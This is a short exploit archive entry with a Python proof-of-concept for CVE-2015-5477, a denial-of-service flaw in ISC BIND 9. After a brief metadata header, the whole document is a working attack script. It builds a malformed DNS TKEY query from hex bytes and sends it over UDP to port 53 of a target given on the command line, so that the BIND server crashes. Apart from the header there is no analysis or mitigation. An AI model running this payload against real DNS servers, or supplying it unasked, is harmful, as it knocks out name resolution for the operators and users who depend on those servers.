# Exploit Title: PoC for BIND9 TKEY DoS
# Exploit Author: elceef
# Software Link: https://github.com/elceef/tkeypoc/
# Version: ISC BIND 9
# Tested on: multiple
# CVE : CVE-2015-5477
#!/usr/bin/env python
import socket
import sys
print('CVE-2015-5477 BIND9 TKEY PoC')
if len(sys.argv) < 2:
print('Usage: ' + sys.argv[0] + ' [target]')
sys.exit(1)
print('Sending packet to ' + sys.argv[1] + ' ...')
payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))
print('Done.')
